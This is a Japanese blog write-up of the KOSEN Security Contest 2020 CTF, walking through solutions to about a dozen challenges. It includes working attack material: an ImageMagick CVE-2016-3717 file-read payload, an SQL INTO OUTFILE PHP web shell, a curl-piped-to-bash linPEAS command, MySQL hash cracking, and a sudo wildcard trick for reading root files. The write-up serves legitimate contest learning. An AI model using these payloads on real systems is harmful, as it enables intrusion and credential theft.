KOSENセキュリティコンテスト2020で全完したお話

はじめに

※タイトルが自己主張激しめなのは、今までブログ記事を書いていてタイトルが地味で、あとあと後悔することが多いので、思い切って嬉しかったことを全面に出させていただいております。

トラコンに引き続き、今年で参加は最期になるであろう、KOSENセキュリティコンテストに参加しました。 備忘録として、基本的にぼくが解いた13問について、簡単にWriteupを残します。 結果は2位と残念でしたが、チーム3人で全問題解ききれたので、その点嬉しかったです。

encode/crypto

デコードせよ (50)

[問題内容]
FLAG%7B%25encoding%3C!%3E%7D
 HINT: URLエンコードやパーセントエンコーディングと呼ばれます

ツールなどでURLデコードするだけ。

URL Decode - CyberChef

rotten3 (100)

[問題内容]
ファイル「rotten3」を復号し、フラグを読み取ってください。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/EC-rotten3/rotten3

以下のようなHTMLっぽいファイルが与えられます。

<ugzy>
<urnq>
<zrgn uggc-rdhvi=Pbagrag-Glcr pbagrag="grkg/ugzy; punefrg=fuvsg_wvf">
<zrgn anzr=Trarengbe pbagrag="Zvpebfbsg Jbeq 15 (svygrerq)">
</urnq>
<obql ynat=WN fglyr='grkg-whfgvsl-gevz:chapghngvba' otpbybe=oynpx>
<qvi pynff=JbeqFrpgvba1 fglyr='ynlbhg-tevq:18.0cg'>
<sbag pbybe=juvgr>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Gur gehgu vf nyjnlf uvqr va gur oynpx.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Pna lbh svaq vg?</fcna></c>
<vzt  jvqgu=34 urvtug=11 onpxtebhaq-pbybe="#000000;" fep="qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNDxNNNNvPNLNNNOZqPjyNNNNNKAFE0VNef4p6DNNNNEaDH1ONNPkwji8LDHNNNNWpRuMpjNNQfZNNN7QNpqidTDNNNCaFHEOIUur7MrApnjjQVFiYtdvadfzmIjkOTCJi2gfp4oxowLm37j8VqiFFuoxfFlYRRVHbHLuuNQHXVDDtOdSRNWDbkOPNTbHDtuNwHVVNnuEPPRNADbuOXOTVLDN1PvRRVNnuENPHBC38Sdr02CA0wNgm9qdcK5vJK6JrqAcKa/osbwCnZY6ORmC9pa2D9Lj/vY2f+lkMwz2nVR8YoAAqy9/UqGLElR5j5nts15A6zq2n8h+fINB0yvi51GMd4+s2Mk1ogv8f/Lr/zcVkWdtMt9ogZF/kC8MRfH6O73A+7IUP9lcr/Xykw4DpBxPgN4W78qSKUSPc+XLWfaCgjHoW6FTkN28afgHdi8UHX1mG34UianN3AAC1AwUbPUuOWafi9y+nBWJLKNhTlwzUPA8+Ci6tktpsd0gsxWwVk+iEI4re5CCrDbUnBGGNinMylsrGuhuyg7Uoc1bD31JJ/dTKBzYYDMnGGLj6cZmBd4j90FUq3hxL0tpnGU6X/xVnhkwmWPNVZnUsznu6N3vJvcQVfGfzEHiK29woO1FZKkg0bQhGCtu1zOqE5A5sZ6h4IlmVm/4WC+Cmxy8HWBtGdM2/L3e4mha7+v4jau2EiIVgK5gJambxZvkPswa5LFFVzpA7RKkuH8YzDv6A0c+5e4hXEVGUGMpeASQtuM6w9hrzrvl+GOoQo7TkbGmHk+zH+mwngVIlmShm+VyLblBv+H+dRp6uilkSahZAcwNCu5d7XZ2OBcQjbxEWVjTqz++4cpR9g8YN79vt/NTvP/Z7ugq2VLTBVPg9p2pp8rDvWf+9JR6SKjvmhawjM49+4lBn19/EL90QVz6Si5hhKglNqGLk7gQjw+aBQSYtvIQNin9rCzMiNUvPkCoeu4F5DVw5/OlZ1fAivMh+gFa9+ltwaoQ4SxC4/XmaVye3++XUwx1WSur+7B3gT6QTigbUjY0rsHYjn9QDJYE4SpnUdaNiNUl4hKepnaBGT2+ggNRdloJwm0/ncjFMR2Jo+eQqV19GQ2vzvMi1FbzudDB0Xzi+DsUus2h6WUFxBwHtt2fd6QTCvOHsHuxGCZlU6k1DlRFQj0ExkpyY6Py0NNTSAOEJNiLUxIXn7x+1jlWOXcefP8TrVo18HCo034EImX9G+lkRps+qymLo2FCyYGR804gCzkV/S/fWB65GA8XTDQvb7SQ4glsie1D47qj/oEA3ubZ9wLnEhi5qj+WHodZ1iri6mJX0yslAIQw9kO+lg8mqs8aqj8WpD3kxYiwGj0QADbuOXOTVLDN1PvRRVNnuENPHXZDDtOdSRVVDV1PPNTbHDtuNQHXVLEyrsjPNxaJ/CZ8cRVNNNNNFHIBEX5PLVV=">
<fcnaynat=RA-HF>Bs pbhefr, V jvyy abg sbetrg vg.Lrnu!</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Ernyl?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bu?Uzzz?cBu zl?c</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Bbcf, V sbyybjrq gur synt ng n qvfgnapr,
ohg ybfg fvtug bs vg va n srj fragrapr.</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>Jurer vf gur synt?</fcna></c>
<c pynff=ZfbAbezny><fcna ynat=RA-HF>-- V qba?fg xabj.</fcna></c>
</qvi>
</sbag>
</obql>
</ugzy>

これもROT13 - CyberChefに投げることで、デコードできます。 これをHTMLファイルとして、保存するとフラグっぽいファイルが得られます。

forensics/stego

docxのもう一つの顔 (50)

[問題内容]
画像が破損している!?

[問題ファイル]
http://104.46.226.179:8080/contents/problem/FS-docx/you_and_ctf.docx

you_and_ctf.docxというファイルが与えられるので解析していきます。

$ file you_and_ctf.docx 
you_and_ctf.docx: Microsoft Word 2007+

調べてみると、Wordファイルのようですが、開こうとしても壊れているようで開かないです。 docxといえば、zipファイルであることが広く知られているので、unzipしてみるのもよいですが、手っ取り早くbinwalkでファイルを抽出します。

$ binwalk -e you_and_ctf.docx
...
$ tree -a _you_and_ctf.docx.extracted
_you_and_ctf.docx.extracted
├── 0.zip
├── [Content_Types].xml
├── _rels
│   └── .rels
├── docProps
│   ├── app.xml
│   └── core.xml
└── word
    ├── _rels
    │   └── document.xml.rels
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.png_
    ├── settings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    └── webSettings.xml

6 directories, 13 files

見た目は普通のdocxをzipとして展開したもののように見えます。 しかし、よく見るとword/media/image1.png_という怪しい画像ファイルがあるので、それを開くとフラグが手に入ります。

programming

足し算しよう (50)

[問題内容]
1000~10000の数値を足した数を求めよ。
 FLAG{足した数}

単純に総和を求めるだけです。

熱血計算塾 (50)

[問題内容]
下記サーバに接続し、フラグを入手しましょう!

 サンプルコードを添付しました。
 まずは、nc コマンドを使って接続しましょう。

 nc 52.175.155.247 5555

[問題ファイル]
http://104.46.226.179:8080/contents/problem/P-calc/sample.zip

ncすると、55-5=という形式で問題が何本も送られてきます。 問題ファイルとしては、以下のようなsampleのpythonファイルが与えられます。 (これは、pwntoolsをインストールし忘れていた私にはとてもありがたかったですね。)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time

def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    nop = re.compile("ok",re.IGNORECASE)
    while 1:
        data = s.recv(1024)
        if data == "":
            continue
        if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key":
            s.sendall(bytes("\n", "utf-8"))
        elif nop.search(data.decode('utf-8')):
            print (data.decode('utf-8'))
            pass
        else:
            #data 変数に、サーバから送られてくる問題文が含まれる
            try:
                #ここに計算する処理を記述する
                #現在は、人間が手動計算するコードになっている
                answer = input()
                #answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る
                print (answer)
                s.sendall(bytes(str(answer) + "\n","utf-8"))
            except:
                print ("flag?\n")
                break
    shutdown(s)

def shutdown(s):
    print ("Connection closed.")
    s.shutdown(socket.SHUT_WR)
    s.close()

if __name__ == '__main__':
    netcat("52.175.155.247", 5555)

このサンプルコードを、55-5=というデータを受け取ったらevalした結果を返すコードに書き換えて実行すると、フラグが得られます。 具体的には以下のような関数の返り値をanswer変数に代入すればよいです。

def calc(data):
    q = data.decode('utf-8')[:-2]
    return eval(q)

15game (200)

[問題内容]
15ゲームをしましょう!
  host :52.175.155.247
  port : 10001

 接続例:nc 52.175.155.247 10001

 ルール:
 2人対戦のゲームです。
 1から順番に数字を数えていき、15を言った方の負けです。
 1度に3個までの数字を言うことができます。

 数字の指定方法:
 自分が言う最初の数:自分が言う最後の数
 (例:1,2,3を言う場合 1:3)

ncで接続すると、ゲームやろうぜ!的な表示が出てきて、ルールが示されすぐに、ゲームが始まります。 ゲームの内容は問題文の通り、1から順番に数字を数えていき、15を言った方の負けです。と思ったのですが、この問題文は正確にはウソルールで、ゲームを進めていくと言ってはいけない数字言える数字の最大個数がどんどん上がっていきます。

というわけで、それに対応するように、以下のようにコードを書いて実行すると、フラグが得られます。(コードは熱血計算塾のものを使いまわしました。)(コードが汚いのはゆるして。)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import socket
import decimal
import re
import time


def parse_game_rule(data):
    q = data.decode('utf-8').split("\n")
    print(q)
    for s in q:
        if 'Up to' in s:
            upto = int(s[len("Up to "):-len(" consecutive numbers at once")])
        if "BadNum" in s:
            badnum = int(s[len("BadNum is "):])
    return (badnum, upto)


def game(sock, badnum, upto):
    myans = []
    current = badnum - 1
    while current > 0:
        myans.append(current)
        current -= upto+1
    myans = myans[::-1]

    current = 1
    answer = f'{current}:{myans[0]}'
    sock.sendall(bytes(answer + "\n","utf-8"))
    print(answer)
    turn = 1
    while 1:
        data = sock.recv(1024)
        if "You Win!" in data.decode('utf-8'):
            break
        print(data.decode('utf-8').split('\n'))
        MyTurn = data.decode('utf-8').split('\n')[0].strip()
        current = int(MyTurn.split(':')[-1]) + 1
        print("in game..", current)

        answer = f'{current}:{myans[turn]}'
        sock.sendall(bytes(answer + "\n","utf-8"))
        turn += 1


def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    nop = re.compile("ok",re.IGNORECASE)
    while 1:
        data = s.recv(1024)
        if data == "":
            continue
        if "Let's" in data.decode('utf-8'):
            continue
        print(data.decode('utf-8'))
        badnum, upto = parse_game_rule(data)
        print(f'badnum: {badnum}, upto: {upto}')
        game(s, badnum, upto)
    shutdown(s)

def shutdown(s):
    print ("Connection closed.")
    s.shutdown(socket.SHUT_WR)
    s.close()

if __name__ == '__main__':
    netcat("52.175.155.247", 10001)

値段の比較はお手の物 (200)

[問題内容]
まさるくんはノリが命。買い物もテキトウです。
 まさるくんの代わりに適切な商品を選んでください。

問題サーバー
http://52.175.155.247:5000/

問題サーバーにアクセスすると、以下のようなページが表示されます。

というわけで、とりあえず、愚直に問題に150回答えればいいのだろうと、seleniumBeautifulSoup4を使って以下のようなコードを書いて、処理を自動化します。 これを実行して、サーバーとseleniumのやり取りをぼーっと眺めていると、最後にフラグが得られます。

import os

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException

from bs4 import BeautifulSoup


def get_question(html):
    q = html.find('p', id='message').text.strip().split()[0]
    print(q)
    if "最高" in q:
        return (0, True)
    if "最安" in q:
        return (0, False)
    num = int(q[:-len("番目にXい商品名を入力してね")])
    reverse = False
    if "高い" in q:
        reverse = True
    return (num-1, reverse)


def get_ans(html, num, reverse):
    cards = html.find_all('div', class_="card")
    name_price = {}
    for card in cards:
        price_text = card.find("div", class_='card-footer').text
        price = int(price_text[len("価格:"):-1])
        name_text = card.find("div", class_='card-header').text
        name = name_text[len("商品名:"):]
        name_price[name] = price

    sorted_dict = sorted(name_price.items(), key=lambda x:x[1], reverse=reverse)
    ans_name = list(sorted_dict)[num]
    return ans_name


def post_ans(driver, name):
    name_input = driver.find_element_by_id('name')
    name_input.send_keys(name)
    submit_button = driver.find_element_by_css_selector('button.btn')
    submit_button.click()


def main():
    url = "http://52.175.155.247:5000/"

    driver = webdriver.Chrome()
    driver.get(url)

    while 1:
        WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, "message")))
        html = BeautifulSoup(driver.page_source, 'html.parser')

        num, reverse = get_question(html)
        name, _ = get_ans(html, num, reverse)
        post_ans(driver, name)


if __name__ == '__main__':
    main()

web

ローカルプロキシ入門 (150)

[問題内容]
ローカルプロキシを使ってみよう

問題サーバー
http://52.175.155.247:8096/

BurpSuiteあたりのローカルプロキシを立てて、問題サーバーにアクセスします。 Burpのログを良く見てみると、/にアクセスしたあと、302/mondai/hint.phpにリダイレクトし、さらに302/mondai/index.phpにリダイレクトしていることがわかります。 これは、ローカルプロキシを立てずに見ると、リダイレクトが一瞬で行われるので、何もなかったかのようにindex.phpが表示されてしまいます。

とりあえず、index.phpにアクセスすると、フラグゲット!というボタンが表示されるので、クリックすると、Invalid Access !!と怒られてしまいます。

つぎに、hint.phpにアクセスすると"クローラー"を制御するファイルといえば?というヒントが与えられます。 このヒントの答えはrobots.txtなので、そこにアクセスすると次は、以下のようなテキストが得られます。

User-agent: *
Disallow: /lbauccckounp/
Allow: /mondai/

Disallowと言われると、アクセスしたくなるのがCTFerの性ということで、/lbauccckounp/にアクセスすると、以下のようなflag_get.txtが得られます。

<?php

    session_start();

    if (isset($_POST['Proxy_is_about'])){
        if ($_POST['Proxy_is_about'] == 'BurpSuite?'){
            $_SESSION['ctf']='LACCON';
            header('Location: ../answer/flag.php');
        } else {
            print('<h2 style="color:red">Invalid Access !!</h2>');
        }
    } else {
        print('<h2 style="color:red">Invalid Access !!</h2>');
    }

このコードから、flag_get.phpのボタンでPOSTされるProxy_is_aboutの値をBurpSuite?に改ざんすれば良いことがわかります。 というわけで、BurpのInterceptでリクエストを改ざんすると、フラグが得られます。

binary

Maruware ()

[問題内容]
まるウェアです。

 ※ CTF用に作成したプログラムです。本物のマルウェアではありません。
 ※ 実行しなくても解くことが可能です。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/B-maruware/Maruware.exe

fileコマンドで、ファイルの情報を見ると、Mono/.Net assemblyであることがわかります。

$ file Maruware.exe 
Maruware.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

これは、ILSpyというツールを使うことで、簡単にデコンパイルできることが知られているので、それに食わせてコードを読んでいきます。 コードを見ていくと、以下のような興味深いコードが出てきます。

a()関数では、引数bを1文字ずつ18でxorしたものを返していることがわかります。 また、Initialization()関数では、引数cの部分文字列と文字列を比較して、最後にMessageBoxを表示させるような処理を行っています。 以上のコードから、これらの比較している文字列を結合し、1文字ずつ18とxorを取れば、フラグが得られそうです。

というわけで、CyberChefなどのツールで545E5355695F534047455340575B41415354464B6Fという文字列をHexからASCIIに変換し、18XORすれば、フラグが得られます。

From Hex, XOR - CyberChef

binary

デバッガ (200)

[問題内容]
くっ!stringsコマンドを使用してもフラグが出ないじゃないか!
 うまく実行して、フラグを取得してやる!

 ダウンロードする際にブラウザの警告が表示される可能性があります。
 この実習においてはダウンロード続行を選択しても問題ありません。

[問題ファイル]
http://104.46.226.179:8080/contents/problem/B-debugger/checker.exe

これは出題ミスですかね? wineで実行ファイルを実行すると、フラグが出力されました。

$ wine checker.exe 
=====================================================================
                              Welcome!!!                   
     If you resolved this problem, the flag will be output...
=====================================================================
FLAG{hXT57e8j}

exploit/pwn

PPAP? (300)

[問題内容]
フラグをAhhhhしてください。
 なお、フラグは .htaccess でアクセスが制限されています。

 ※ CTF関連のサーバ以外へのリクエストは禁止しています。対象を間違えないよう注意ください。

 Hint: 攻略のためのHTTPリクエストをウイルス対策ソフトが遮断する場合があります。対象のリクエストを一時的に許可ください。
 Hint: ライブラリのアップデートも忘れずに

問題サーバー
http://52.175.155.247:8101/PPAP/image.php

問題URLにアクセスすると、画像をアップロードできるページが表示されます。 レスポンスのHTMLを見ると<title>PPAP? ver 2016-3717</title>というタイトルが設定されていることがわかります。 ver 2016-3717という文字列から、CVE-2016-3717脆弱性を利用するのではないかとあたりをつけて検索すると、以下のようなImageMagick脆弱性がヒットします。

ここを軽く読むと、CVE-2016-3717は、以下のようなmvgファイルをImageMagickに食わせるとLocal file readができる脆弱性であることがわかります。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

というわけで、上記ファイルの/etc/passwd部分を任意のファイル名に変えてサーバーのファイルを読み出せるので、./flag.txtとして、アップロードすると、以下のようにフラグファイルのテキストが合成された画像が得られます。

PHP Beginner Practice 2 (350)

[問題内容]
下記の情報をもとにサーバを攻略せよ!
 どうやらパスワードの管理が甘いらしい。
 ※Practice 2では2番目に手に入ると考えられるuser.txtのフラグを送信してください。

 【注意事項】
 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。
 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。
 また、本環境は定期的にロールバックされます。 

問題サーバー
http://52.175.155.247:8103/

この問題は、PHP Beginner Practiceという問題の系列で、1つめの問題はチームメンバーが解いてくれました。 この問題の系列では、/home/dachshund/user.txt/home/pomeranian/user.txtおよび、/root/root.txtを読み出すのがゴールになります。

問題1について

問題1では、Local File Inclusionの脆弱性を利用して、/home/dachshund/user.txtを読み出すことでフラグが得られたようです。

FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ} 
memo:phpmyadmin:U6ys8Izzy8dV

また、上記のuser.txtの内容から、phpmyadmindachshund:U6ys8Izzy8dVでログインできるのではというあたりをつけることができます。 phpmyadminにログインできたら、次のようなSQLでwebshellを設置できます。

SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY></HTML>"
INTO OUTFILE '/var/www/html/lasdsdjkfhoakdjf.php'

Reverse Shell

問題2では、/home/pomeranian/user.txtを読み出すことがゴールになります。 とりあえず、最初に問題1を解いてくれたチームメンバーが、webshellの設置まではしてくれていたので、それを使って、Reverse Shellを立てました。 Reverse Shellは以下のブログがわかりやすいです。

Reverse Shellのコマンドいろいろ | 俺的備忘録 〜なんかいろいろ〜

また、Reverse Shellのセッションが取れたあと、TTYを持つシェルにするためにコマンドを打つ必要があります。 これをすることで、suコマンドなどが使えるようになります。

Spawning a TTY Shell

pomeranianのパスワード

問題文のどうやらパスワードの管理が甘いらしい。という文言を念頭において、調査していきます。 この文言から、おそらく、ソフトウェアの脆弱性を突くような権限昇格は行わないとあたりをつけることができます(実際には競技終了30分前ぐらいにそのことに気づきました。)

とりあえず、Linuxのシェルが取れたら調査系のスクリプトを回すのが定石なので、以下のコマンドで回していきます。

$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | bash

コマンドの実行結果を見ていくと、以下のような出力が目に付きます。

[+] Searching mysql credentials and exec
...
[mysqld]
secure-file-priv=""
We can read the Mysql Hashes from /var/lib/mysql/mysql/user.MYD
...

というわけで、user.MYDについて調査していくと、mysqlのユーザーのパスワードがハッシュ化されて保存されているファイルであるということがわかります。

$ python read_mysqld_user_myd.py 
0 3 {'host': b'localhost', 'user': b'root', 'password': '', 'native': False}
80 3 {'host': b'localhost', 'user': b'mysql.session', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True}
212 3 {'host': b'localhost', 'user': b'mysql.sys', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True}
340 3 {'host': b'localhost', 'user': b'debian-sys-maint', 'password': '9BCB8BE2F1235C7C8EB857234CE88138512708F5', 'native': True}
476 3 {'host': b'localhost', 'user': b'dachshund', 'password': '4019DC97B5B32201A290DC097AA59B69E5B109D2', 'native': True}
604 1 {'host': b'localhost', 'user': b'pomeranian', 'password': 'E31D0B38B2177C363E38ADED65DBE597142F3EAB', 'native': True}

さらに調べると、これらのハッシュはJohnTheRipperで解析できることがわかったので、以下のコマンドで解析したところ、見事にpomeranianユーザーのパスワードを得ることができました。

$ cat hashes.txt 
e31d0b38b2177c363e38aded65dbe597142f3eab
$ john --format=mysql-sha1 hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 512/512 AVX512BW 16x])
...
poodle           (?)
...
Session completed

そして、su pomeranianでこのパスワードを使って、pomeranianユーザーとしてログインすることで、/home/pomeranian/user.txtからフラグを得ることができました。

PHP Beginner Practice 3 (300)

[問題内容]
下記の情報をもとにサーバを攻略せよ!
 ※Practice 3ではroot.txtのフラグを送信してください。

 【注意事項】
 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。
 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。
 また、本環境は定期的にロールバックされます。 

問題サーバー
http://52.175.155.247:8103/

最後の問題は、前問の続きで、/root/root.txtを得ることがゴールになります。 前問で、pomeranianユーザーに昇格できたので、sudo -lコマンドでsudoで実行できるコマンドを調べてみます。

$ sudo -l
[sudo] password for pomeranian: poodle

Matching Defaults entries for pomeranian on 1450972c0d1d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pomeranian may run the following commands on 1450972c0d1d:
    (root) /bin/cat /var/log/apache2/access*

結果を見ると、/bin/cat /var/log/apache2/access*というコマンドをroot権限で実行できるようです。 しかし、そのまま実行しても、以下のようにエラーが出てしまいます。

$ sudo /bin/cat /var/log/apache2/access*
sudo /bin/cat /var/log/apache2/access*
/bin/cat: '/var/log/apache2/access*': No such file or directory

ここで、*(アスタリスク)は、ワイルドカードであることを考慮すると、/bin/cat /var/log/apache2/accessの後ろに任意の文字列を追加することができると考えられます。 というわけで、/bin/cat /var/log/apache2/access /root/root.txtというコマンドを実行することで、最後のフラグが得られます。

おわりに

最期のKOSENセキュリティコンテストになりましたが、時間内ギリギリで解ききることができ、達成感が大きく楽しかったです。 運営、参加者の皆様、お疲れさまでした。 来年以降も頑張ってください。